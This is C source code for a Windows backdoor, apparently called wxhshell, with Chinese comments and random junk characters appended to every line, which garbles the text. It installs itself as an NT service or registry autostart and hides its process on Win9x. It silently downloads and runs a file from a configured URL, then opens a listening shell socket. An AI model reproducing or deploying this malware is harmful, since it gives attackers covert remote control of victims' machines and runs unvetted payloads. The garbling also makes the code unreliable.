PROCNTQSIP NtQueryInformationProcess; tjIT4
Yf=Puy}q
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3Sb'){.MT+
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,
e6}p
//_aIp
HANDLE hProcess; h<8.0
PROCESS_BASIC_INFORMATION pbi; ?rG>SA>o
q V+gQ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D3BT>zTGK
if(NULL == hInst ) return 0; |0e7<[
:xz,PeXo7
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gZLzE*NZ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9;*-y$@
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~$\9T.tre2
Fw!TTH6l0
if (!NtQueryInformationProcess) return 0; 6*]g~)7`Q~
q;<=MO/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m5/d=k0l
if(!hProcess) return 0; Ja@zeD)f"
wQV[ZfU^h
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eumpNF%$
l,n
V*Z
CloseHandle(hProcess); WzwH;!
2a3RRP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WFTXSHcG
if(hProcess==NULL) return 0; -4!9cE
l#;DO9
HMODULE hMod; 2iJ)K rw
char procName[255]; `$5 QTte
unsigned long cbNeeded; Arzyq_ Yk
v==b.
2=
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {-fhp@;
jLZ^EM-
CloseHandle(hProcess); c{X:0man
lPywrTG0
if(strstr(procName,"services")) return 1; // 以服务启动 [m9Iz!E
%Ct^{k~1
return 0; // 注册表启动
nGqD{!i<
} O^+H:Y|
yD-L:)@"
// 主模块 C=&rPUX{
int StartWxhshell(LPSTR lpCmdLine) UHh7x%$n
{ \(db1zmS~
SOCKET wsl; xR`W9Z5
BOOL val=TRUE; v3ky;~ke
int port=0; OdrnPo{
struct sockaddr_in door; ?{Rv/np=F
N#Y|MfLc
if(wscfg.ws_autoins) Install(); `3C dW
4N- T=Ig
port=atoi(lpCmdLine); =>k E`"{!
Zr%,F[j?
if(port<=0) port=wscfg.ws_port; (5Z*m<]c
~7$4w# of0
WSADATA data; _,?<r&>v6
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KT>eE
*@zh
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +[R,wsG
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,@#))2<RK
door.sin_family = AF_INET; DN GXp5I
door.sin_addr.s_addr = inet_addr("127.0.0.1"); qz@k-Jqq
d
door.sin_port = htons(port); |*T3TsP u
~g|Z6-?4Jj
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B,_/'DneQK
closesocket(wsl); 1#D &cx6
return 1; %\|9_=9Wn
} {%"n[DLps
$q
iY)RE
if(listen(wsl,2) == INVALID_SOCKET) { pr) `7VuKp
closesocket(wsl); R'udC}
return 1; ?m(]@6qa
} PXRkK63
Wxhshell(wsl); a
At<36{?
WSACleanup(); )#H&lH
L^{1dVGWNa
return 0; e@ mjh,
*:+&SxL
} X^td`}F/=V
djk?;^8
// 以NT服务方式启动 =,])xzG%
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T{"[Ih3Mbl
{ E0s|eA&
DWORD status = 0; (T9Q6\sa
DWORD specificError = 0xfffffff; hT0[O
<*/IV<
serviceStatus.dwServiceType = SERVICE_WIN32; %wDE+&M
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >STAPrBp+
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zarxv|
}$
serviceStatus.dwWin32ExitCode = 0; JoCZ{MhM
serviceStatus.dwServiceSpecificExitCode = 0; KmYSYNr@,
serviceStatus.dwCheckPoint = 0; v/m} {&K
serviceStatus.dwWaitHint = 0; R_7[7/a
.S{FEV
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QCD
MRh n
if (hServiceStatusHandle==0) return; J_|LGrt})
x%!Ea{s
status = GetLastError(); n`Y"b&
if (status!=NO_ERROR) 0|J]EsPxu
{ "?X,);5S
serviceStatus.dwCurrentState = SERVICE_STOPPED; /TndB7l"3
serviceStatus.dwCheckPoint = 0; bih%hqny
serviceStatus.dwWaitHint = 0; (^@rr[.o7
serviceStatus.dwWin32ExitCode = status; d:X@zUR*)
serviceStatus.dwServiceSpecificExitCode = specificError; X"k:+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); u{'|/g&
return; ].Sz2vI
} Z0'&@P$
a7fFp9l!
serviceStatus.dwCurrentState = SERVICE_RUNNING; @,:6wKMc
serviceStatus.dwCheckPoint = 0; \`:nmFO(9
serviceStatus.dwWaitHint = 0; AbExJ~JV\g
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @fc-[pv
} \}n\cUy-
g!\H^d4
// 处理NT服务事件,比如:启动、停止 P2!+ZJ&
VOID WINAPI NTServiceHandler(DWORD fdwControl) 28!
ke
{ "M!]t,?S
switch(fdwControl)
=]
+owl2
{ N8E
case SERVICE_CONTROL_STOP: v:1DNR4
serviceStatus.dwWin32ExitCode = 0; ]wZlJK`K
serviceStatus.dwCurrentState = SERVICE_STOPPED; (6crWw{3
serviceStatus.dwCheckPoint = 0; #>ob1b|
serviceStatus.dwWaitHint = 0; w:VD[\h
{ +L,V_z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +7KRoF |
} * @=ZzL
return; x##0s5Qn
case SERVICE_CONTROL_PAUSE: Uk'bOp
serviceStatus.dwCurrentState = SERVICE_PAUSED; E~y(@72)
break; {44#<A<
case SERVICE_CONTROL_CONTINUE: `9*
|Y 8:
serviceStatus.dwCurrentState = SERVICE_RUNNING; )
w1`<7L
break; Iysp)
case SERVICE_CONTROL_INTERROGATE: lS96Z3k"SB
break; Due@'
}; }1#prQ0F
SetServiceStatus(hServiceStatusHandle, &serviceStatus); YZk.{#^ c
} XkhGU?={
67g"8R#.V
// 标准应用程序主函数 FX1H2N(
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a_3w/9L4r
{ (uVL!%61k
FTQNS8
// 获取操作系统版本 sxn{uRF
OsIsNt=GetOsVer(); !kS/Ei
GetModuleFileName(NULL,ExeFile,MAX_PATH); |pG%]?A
.nzN5FB
U
// 从命令行安装 X5tx(}j
if(strpbrk(lpCmdLine,"iI")) Install(); srQGqE~
%xv*#.<Vj
// 下载执行文件 eev-";c
if(wscfg.ws_downexe) { B2,c_[UZ.
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )kT.3
Q
WinExec(wscfg.ws_filenam,SW_HIDE); {ldt/dl~
} bP Q=88*
6E#znRi6IE
if(!OsIsNt) { ^~;"$=Wf
// 如果时win9x,隐藏进程并且设置为注册表启动 7|PB6h3
HideProc(); Ii&\LJ
StartWxhshell(lpCmdLine); RG.wu6Av
} ]Zz.n5c
else ueyQ&+6r
if(StartFromService()) 2}n7f7[/b
// 以服务方式启动 \2^o,1r/
StartServiceCtrlDispatcher(DispatchTable); +'$5Jtz
else :>y;*x0w
// 普通方式启动 VTa%
StartWxhshell(lpCmdLine); 5HaI$>h6
c;Gf$9?iC
return 0; c`@";+|r
}